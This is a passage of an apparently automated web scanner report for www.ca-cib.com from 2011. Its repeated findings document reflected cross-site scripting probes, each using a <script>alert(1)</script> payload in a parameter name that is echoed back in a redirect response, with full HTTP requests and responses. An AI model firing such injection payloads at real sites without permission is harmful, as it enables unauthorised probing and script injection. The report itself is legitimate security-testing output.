The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e558f"><script>alert(1)</script>b2773513503 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small07.gif?e558f"><script>alert(1)</script>b2773513503=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:52 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small07.gif?e558f"><script>alert(1)</script>b2773513503=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small07.gif?e558f"><script>alert(1)</script>b2773513503=1"> ...[SNIP]...
1.23. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small08.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4769"><script>alert(1)</script>9be8bb0c673 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small08.gif?b4769"><script>alert(1)</script>9be8bb0c673=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:52 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small08.gif?b4769"><script>alert(1)</script>9be8bb0c673=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small08.gif?b4769"><script>alert(1)</script>9be8bb0c673=1"> ...[SNIP]...
1.24. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small09.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b357"><script>alert(1)</script>c18a3e42d17 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small09.gif?8b357"><script>alert(1)</script>c18a3e42d17=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:56 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small09.gif?8b357"><script>alert(1)</script>c18a3e42d17=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small09.gif?8b357"><script>alert(1)</script>c18a3e42d17=1"> ...[SNIP]...
1.25. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small10.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38433"><script>alert(1)</script>c0d48e3a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small10.gif?38433"><script>alert(1)</script>c0d48e3a7=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:56 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small10.gif?38433"><script>alert(1)</script>c0d48e3a7=1 Content-Length: 314 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small10.gif?38433"><script>alert(1)</script>c0d48e3a7=1"> ...[SNIP]...
1.26. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small11.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7b63"><script>alert(1)</script>da4467aac0e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small11.gif?c7b63"><script>alert(1)</script>da4467aac0e=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:56 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small11.gif?c7b63"><script>alert(1)</script>da4467aac0e=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small11.gif?c7b63"><script>alert(1)</script>da4467aac0e=1"> ...[SNIP]...
1.27. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small12.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2eab0"><script>alert(1)</script>65cad9ec14c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small12.gif?2eab0"><script>alert(1)</script>65cad9ec14c=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:56 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small12.gif?2eab0"><script>alert(1)</script>65cad9ec14c=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small12.gif?2eab0"><script>alert(1)</script>65cad9ec14c=1"> ...[SNIP]...
1.28. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small13.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93054"><script>alert(1)</script>19ad31a31ea was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/export_picto_small13.gif?93054"><script>alert(1)</script>19ad31a31ea=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:56 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small13.gif?93054"><script>alert(1)</script>19ad31a31ea=1 Content-Length: 316 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/export_picto_small13.gif?93054"><script>alert(1)</script>19ad31a31ea=1"> ...[SNIP]...
1.29. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-boite-realisation.gif [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 896cc"><script>alert(1)</script>5ce2f072f21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:14:31 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-boite-realisation.gif?896cc"><script>alert(1)</script>5ce2f072f21=1 Content-Length: 318 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-boite-realisation.gif?896cc"><script>alert(1)</script>5ce2f072f21=1"> ...[SNIP]...
1.30. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-developpement-durable.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fb424"><script>alert(1)</script>bb914d63e4c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/fond-developpement-durable.jpg?fb424"><script>alert(1)</script>bb914d63e4c=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:58 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-developpement-durable.jpg?fb424"><script>alert(1)</script>bb914d63e4c=1 Content-Length: 322 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-developpement-durable.jpg?fb424"><script>alert(1)</script>bb914d63e4c=1"> ...[SNIP]...
1.31. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-expertise-financiere.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15210"><script>alert(1)</script>1f321ec599a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/fond-expertise-financiere.jpg?15210"><script>alert(1)</script>1f321ec599a=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:57 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-expertise-financiere.jpg?15210"><script>alert(1)</script>1f321ec599a=1 Content-Length: 321 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-expertise-financiere.jpg?15210"><script>alert(1)</script>1f321ec599a=1"> ...[SNIP]...
1.32. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-gouvernement-entreprise-fonce.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d315"><script>alert(1)</script>f5d74548de8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/fond-gouvernement-entreprise-fonce.jpg?3d315"><script>alert(1)</script>f5d74548de8=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:57 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-gouvernement-entreprise-fonce.jpg?3d315"><script>alert(1)</script>f5d74548de8=1 Content-Length: 330 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-gouvernement-entreprise-fonce.jpg?3d315"><script>alert(1)</script>f5d74548de8=1"> ...[SNIP]...
1.33. http://www.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-mecenat.jpg [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.ca-cib.com
Path:
/sitegenic/medias/IMAGE/432885/fond-mecenat.jpg
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 990d2"><script>alert(1)</script>a967437aa78 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/432885/fond-mecenat.jpg?990d2"><script>alert(1)</script>a967437aa78=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:12:00 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-mecenat.jpg?990d2"><script>alert(1)</script>a967437aa78=1 Content-Length: 308 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/432885/fond-mecenat.jpg?990d2"><script>alert(1)</script>a967437aa78=1"> ...[SNIP]...
1.34. http://www.ca-cib.com/sitegenic/medias/IMAGE/62370/home_hongkong2.jpg [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.ca-cib.com
Path:
/sitegenic/medias/IMAGE/62370/home_hongkong2.jpg
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cbfc8"><script>alert(1)</script>e66cbb49e91 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:12:04 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/62370/home_hongkong2.jpg?cbfc8"><script>alert(1)</script>e66cbb49e91=1 Content-Length: 309 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/62370/home_hongkong2.jpg?cbfc8"><script>alert(1)</script>e66cbb49e91=1"> ...[SNIP]...
1.35. http://www.ca-cib.com/sitegenic/medias/IMAGE/62370/home_ra2007-02_v2.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ddd2"><script>alert(1)</script>fcfb944866e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:12:22 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/62370/home_ra2007-02_v2.jpg?3ddd2"><script>alert(1)</script>fcfb944866e=1 Content-Length: 312 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/62370/home_ra2007-02_v2.jpg?3ddd2"><script>alert(1)</script>fcfb944866e=1"> ...[SNIP]...
1.36. http://www.ca-cib.com/sitegenic/medias/IMAGE/62370/panoramique-facade.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2dfe"><script>alert(1)</script>a2c8f0dafac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:12:10 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/62370/panoramique-facade.jpg?f2dfe"><script>alert(1)</script>a2c8f0dafac=1 Content-Length: 313 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/62370/panoramique-facade.jpg?f2dfe"><script>alert(1)</script>a2c8f0dafac=1"> ...[SNIP]...
1.37. http://www.ca-cib.com/sitegenic/medias/IMAGE/71945/dossier-aero-rail-home-2-eng.jpg [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e65d6"><script>alert(1)</script>40cbe2bc9c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/71945/dossier-aero-rail-home-2-eng.jpg?e65d6"><script>alert(1)</script>40cbe2bc9c6=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:58 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/71945/dossier-aero-rail-home-2-eng.jpg?e65d6"><script>alert(1)</script>40cbe2bc9c6=1 Content-Length: 323 Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1><p>The document has moved <a href="http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/71945/dossier-aero-rail-home-2-eng.jpg?e65d6"><script>alert(1)</script>40cbe2bc9c6=1"> ...[SNIP]...
1.38. http://www.ca-cib.com/sitegenic/medias/IMAGE/76225/logo_ca_cib.png [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.ca-cib.com
Path:
/sitegenic/medias/IMAGE/76225/logo_ca_cib.png
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c6df"><script>alert(1)</script>baf61dd99ba was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitegenic/medias/IMAGE/76225/logo_ca_cib.png?6c6df"><script>alert(1)</script>baf61dd99ba=1 HTTP/1.1 Host: www.ca-cib.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.ca-cib.com/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 302 Found Connection: keep-alive Date: Tue, 04 Oct 2011 13:11:51 GMT X-Powered-By: ASP.NET Location: http://mediacommun.ca-cib.com/sitegenic/medias/IMAGE/76225/logo_ca_cib.png?6c6df"><script>alert(1)</script>baf61dd99ba=1 Content-Length: 306 Content-type: text/html
